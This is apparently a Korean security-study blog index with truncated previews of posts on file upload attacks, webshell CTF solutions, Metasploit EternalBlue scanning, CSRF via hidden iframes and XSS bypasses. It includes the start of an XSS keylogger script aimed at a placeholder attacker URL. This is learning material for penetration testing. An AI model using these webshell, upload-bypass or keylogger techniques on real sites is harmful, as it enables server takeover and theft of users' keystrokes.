해킹 122

[11주차] 해킹 스터디 정리 - File Download 공격, LFI 취약점

[File Upload] 취약점 이유 > 업로드 되는 파일을 검증X 공격 시나리오 1. 웹 쉘 (리버스 쉘을 업로드하기 전 poc같은 느낌) 2. 도스 공격 3. 디페이스공격 index.html 4. 페이지 변조. 피싱 공격. 5. 악성코드 유포. * 대응 방법! 1. 업로드 되는 파일 DB에 저장. -> CLOB / BLOB 으로 설정하면 파일을 DB에 저장할 수 있음 (결국 웹서버가 아닌 다른 곳에 저장할 수 있게 만들면 어디든 가능) > 이미지 파일도 바이너리 형식으로 저장시킴 2. NAS (Network Attatched Storage : 파일 서버) : LAN으로 연결하는 외장 하드디스크 -> 업로드 파일이 저장되는 서버를 웹서버와 분리. 3. 파일 검증. - 확장자 검증 - 파일 시그니쳐 검증..

해킹/Web Hacking 2023.06.08

해킹 기법 - Metasploit

전쟁에 있어 해킹이란 (1) 시스템 파괴 => 전력 시스템 ICS 댐, 화력발전소, 수력발전소, 전력 시설. (2) 심리전 => Deface 공격 (일반 웹 사이트 대상으로) => Deepfake (3) 디도스 전쟁에서 해킹. -- 우크라 IT군 Metasploit 정말 강력한 해킹 툴. eternalblue 칼리 리눅스에 들어가 search eternalblue 라고 치면 관련된 모듈이 주루룩 나온다 그 중, smb_ms17_010 을 use auxiliary/scanner/smb/smb_ms17_010 라거나 use [ 해당 번호 ] 라고 치면 해당 모듈이 '장착' 된다. show options 라고 하면 어떤 옵션을 넣어야 하는지 required인지를 확인할 수 있다. 저렇게 확인했을 때 Requi..

File Upload CTF 풀이 #2

이제 File Upload 두번째 문제를 풀어보겠습니다. 회원가입을 다시 진행해주고 게시판에 들어갑니다 1편에서 사용했던 webshell.php파일을 그대로 올리려고 하니 php를 업로드할 수 없다고 뜬다. 확장자를 webshell.png.php로 바꿔보았는데도 업로드 되지 않았다. 일단 파일이 어디에 저장되고 다운로드 되는지를 알기 위해서 일반 이미지 파일을 하나 첨부했다 일반 이미지 파일은 잘 올라갔다 파일이 올라갔을 때 png 파일을 올렸으므로 File 시그니쳐가 뭍게 되는데, 이 파일 시그니쳐 맨 끝에 웹 쉘 코드를 그대로 붙여준다. 다운로드를 눌러도 버프 스위트에 반응이 없어서 F12를 눌러 개발자 도구를 살펴봤더니 a 태그에 다운로드 주소가 나와있었다 일단은, 이 위치를 기억해두고 아까 한 줄..

File Upload CTF 풀이 #1

파일 업로드를 위한 간단한 웹 쉘 파일을 하나 생성하자 메모장을 켜서 다음 코드를 작성해줍니다 작성 후 php 파일을 만들어주기 위해 다른 이름으로 저장을 눌러준다. 모든 파일로 바꿔주고 인코딩 방식은 UTF-8 로 해줍니다. 이제 webshell.php 파일이 완성되었습니다. 자 이제 간단한 webshell을 저장했으니 풀 CTF 페이지로 가봅니다. 로그인을 해주고 게시판으로 가줍니다. 전에 연습용으로 적었던 글이 있는데 저건 아닙니다. 글쓰기를 눌러줍니다. 제목과 내용 그리고 파일을 첨부할 수 있는 칸이 구현되어 있습니다. 이렇게 쓰고 올려줍니다. 글 작성에 성공했습니다 Burp Suite로 대략적인 HTTP History를 살펴봤는데 업로드시킨 위치 정보를 찾을 수가 없었습니다. 그래서 다운로드를 ..

[File Upload 공격 정리] 내가 만든 웹사이트를 웹 쉘로 장악하기

집에 있는 데스크탑 pc에서 가상머신으로 웹 서버를 실행시켜 뒀습니다. 포트포워딩까지 끝냈더니 노트북으로 사이트를 들어가니 잘 접속됩니다. 다음번엔 도메인도 한번 구해봐야겠어요 메모장으로 간단한 웹 쉘도 만들었습니다. 글쓰기 버튼을 눌러봅니다. 글 작성 페이지가 잘 뜹니다. 가상머신 쬐끄만 창에서만 보던 걸 노트북 화면으로 띄우니까 감회가 새롭네요 게시판 답게 어그로가 끌릴만한 제목으로 webshell.php를 업로드 해줘보겠습니다. 웹 서버 코드에 allowed_mime_type 변수를 리스트로 생성만 해놓고 조건문으로 걸지 않았더니 php 파일도 잘 등록이 됩니다. 현재 제 서버는 File Upload 공격에 엄청나게 취약하다는 뜻이겠죠 Burp suite 브라우저를 열어 HTTP history를 살..

[10주차] 해킹 스터디 정리 - File Upload 공격

** 모의해킹 워라벨 -> 정보보안팀 모의해킹 팀. 보안컨설팅. IT -- File Upload What : 공격자가 임의의 파일을 업로드 할 수 있는 공격 -> 웹 쉘. -> 서버 장악. 웹 쉘이라는 건 사실 한 줄로도 만들 수 있음 ** Point ** 1. 우리가 웹 서버에서 실행할 수 있는 파일 2. 그걸 실행할 수 있어야함. (가장 중요) -> 업로드된 파일의 위치를 알아야 함. 만약 mal.php 라는 파일이 있다면? 웹 브라우저로 우리가 올린 파일을 요청하면 됨. 그럼 was에서 php 파일을 실행하고 우리(요청자)에게 전해주게 됨 웹 쉘을 띄웠을 때 가장 먼저 대부분 어떤 일을 할까? 대부분 소스코드를 탈취함 ** 소스코드 탈취. -> DB를 탈취 한다는 말과 동일 > 왜냐면 DB의 계정 ..

해킹/Web Hacking 2023.06.01

해킹 기법 - Hash Cracking

케빈 미트닉 > 사회공학기법의 달인 전화 해킹. * 보안! 돈 주고 사는 프로그램, 솔루션이 아니다. rsh -> ssh rlogin R 서비스 . ( Remote ) 홈디렉토리. .rhosts. IP주소 JSZ : IRC IP 스푸핑으로 인증을 다 뚫어버릴 수 있음 공격 원리 TCP Session Hijacking > 클라이언트 pc는 syn 대답을 못하게 마비를 시켜버리고, 공격 pc로 서버에 syn을 날리면 서버가 클라이언트 pc에 synack를 보내고 다시 공격 pc가 ack를 날려서 완성시킨다. (클라이언트 pc는 syn응답을 하지 못하는 마비상태이므로) * TCP / UDP 데이터를 보내는 방법의 차이 - TCP : 데이터 잘 보내는 것 - UDP : 막 보내는 것 * TCP 연결 과정 3 W..

[9주차] 해킹 스터디 정리 - CSRF Token, SSRF, File Upload 공격

CSRF 공격 Remind > 요청이 서버에 날라간다. -WHERE > 모든 요청 -> 컨설턴트 주관 -> "비밀번호 변경" -> 게시판 글을 작성 CSRF (1) GET method > URL > 로그인 한 다음에 볼 수 있는 페이지 (2) POST method > 무조건 XSS 공격 포인트를 찾아야 함 -> 같은 도메인에서. 왜 꼭 같은 도메인?! -> 세션을 이용하기 위해서! 예전에는 공격자 사이트에 접속만 해도 모든 입력 정보를 받을 수 있었다. 최근에는 좀 더 똑똑해져서 도메인 별로 쿠키를 다르게 뿌려준다. (3) Referrer Bypass -> meta (4) CSRF Token -> 요청을 위조할 수 있다. -> XSS 공격이 있다면 Bypass 가능. 게시판이 위 코드를 복붙해서 원하는 ..

해킹/Web Hacking 2023.05.25

CSRF CTF 문제풀이 #1

이번엔 CSRF CTF 1번 문제를 풀어보도록 하겠습니다 CSRF 공격을 이용해 admin 계정의 비밀번호를 바꾸게 해야합니다. CSRF 공격은 폭과 높이를 0으로 숨긴 iframe을 써서 action 속성으로 전달된 창이 뜨지 않게 할 수 있습니다. 코드를 보면 게시판만 읽어도 mypage_update.php에서 회원 정보를 수정한 효과를 얻을 수 있습니다. Javascript에서는 document.forms 객체로 form 태그에서 사용되는 양식들을 제어할 수 있습니다. 코드대로라면 document.forms[0].submit()은 코드의 처음 form 태그 안에 존재하는 submit 속성을 가진 input을 누르게 될 겁니다. document.forms 사용법 →document.forms[0] →d..

[8주차] 해킹 스터디 정리 - XSS Bypass, 대응 방안, CSRF 공격

- XSS Bypass (우회 방법) > Anti XSS Bypass -> Black List 필터링 --> WAF의 기본 속성 (Web Application Firewall) ex ) 글자 제한이 있을 때 미리 짜놓은 스크립트를 준비해놓고 src로 주입가능 [3]대소문자 혼용 그런데 이건 어떻게 공격으로 연결시킬까? POST 방식을 GET방식으로 바꿔서 링크를 딴다. 그 후, 살포해서 공격 가능 keylogger 삽입 KeyLogger 코드 -- XSS Keylogger var keys = ""; var hackUrl = '공격서버 url' document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCo..

해킹/Web Hacking 2023.05.18